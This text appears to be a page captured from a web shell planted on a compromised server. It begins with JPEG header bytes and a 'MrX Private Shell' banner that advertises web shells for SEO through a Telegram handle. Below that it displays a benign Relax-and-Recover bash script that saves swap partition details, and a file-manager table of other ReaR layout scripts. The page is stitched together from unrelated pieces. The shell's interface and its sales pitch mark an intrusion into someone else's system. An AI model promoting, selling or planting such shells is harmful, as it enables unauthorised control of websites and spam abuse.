����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Save swaps
Log "Saving Swap information."
# Begin of group command that appends its stdout to DISKLAYOUT_FILE:
{
echo "# Swap partitions or swap files"
echo "# Format: swap <filename> uuid=<uuid> label=<label>"
while read filename type junk ; do
if [ "$filename" = "Filename" ] || [ "$type" = "file" ] ; then
continue
fi
# if filename is on a lv, try to find the DM name
for dlink in /dev/mapper/* ; do
target=$( readlink -f $dlink )
if [ "$target" = "$filename" ] ; then
filename=$dlink
break
fi
done
# find uuid or label
if has_binary swaplabel ; then
while read what value junk ; do
case $what in
(UUID:)
uuid=$value
;;
(LABEL:)
label=$value
;;
esac
done < <( swaplabel $filename )
elif has_binary blkid ; then
for value in $( blkid $filename | tr " " "\n" ) ; do
case $value in
(UUID=*)
uuid=$( echo $value | cut -d= -f2 | sed -e 's/"//g' )
;;
(LABEL=*)
label=$( echo $value | cut -d= -f2 | sed -e 's/"//g' )
;;
esac
done
fi
echo "swap $filename uuid=$uuid label=$label"
done < /proc/swaps
} 1>>$DISKLAYOUT_FILE
# End of group command that appends its stdout to DISKLAYOUT_FILE
# mkswap is required in the recovery system if disklayout.conf contains at least one 'swap' entry
# see the create_swap function in layout/prepare/GNU/Linux/140_include_swap_code.sh
# what program calls are written to diskrestore.sh
# cf. https://github.com/rear/rear/issues/1963
grep -q '^swap ' $DISKLAYOUT_FILE && REQUIRED_PROGS+=( mkswap ) || true
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 100_create_layout_file.sh | File | 2.31 KB | 0644 |
|
| 150_save_diskbyid_mappings.sh | File | 1.21 KB | 0644 |
|
| 190_opaldisk_layout.sh | File | 804 B | 0644 |
|
| 200_partition_layout.sh | File | 25.24 KB | 0644 |
|
| 210_raid_layout.sh | File | 17.68 KB | 0644 |
|
| 220_lvm_layout.sh | File | 23.78 KB | 0644 |
|
| 230_filesystem_layout.sh | File | 41.63 KB | 0644 |
|
| 240_swaps_layout.sh | File | 1.96 KB | 0644 |
|
| 250_drbd_layout.sh | File | 799 B | 0644 |
|
| 260_crypt_layout.sh | File | 7.23 KB | 0644 |
|
| 270_hpraid_layout.sh | File | 5.34 KB | 0644 |
|
| 280_multipath_layout.sh | File | 3.75 KB | 0644 |
|
| 340_false_blacklisted.sh | File | 1.76 KB | 0644 |
|
| 350_copy_drbdtab.sh | File | 231 B | 0644 |
|
| 500_extract_vgcfg.sh | File | 201 B | 0644 |
|
| 510_current_disk_usage.sh | File | 1.6 KB | 0644 |
|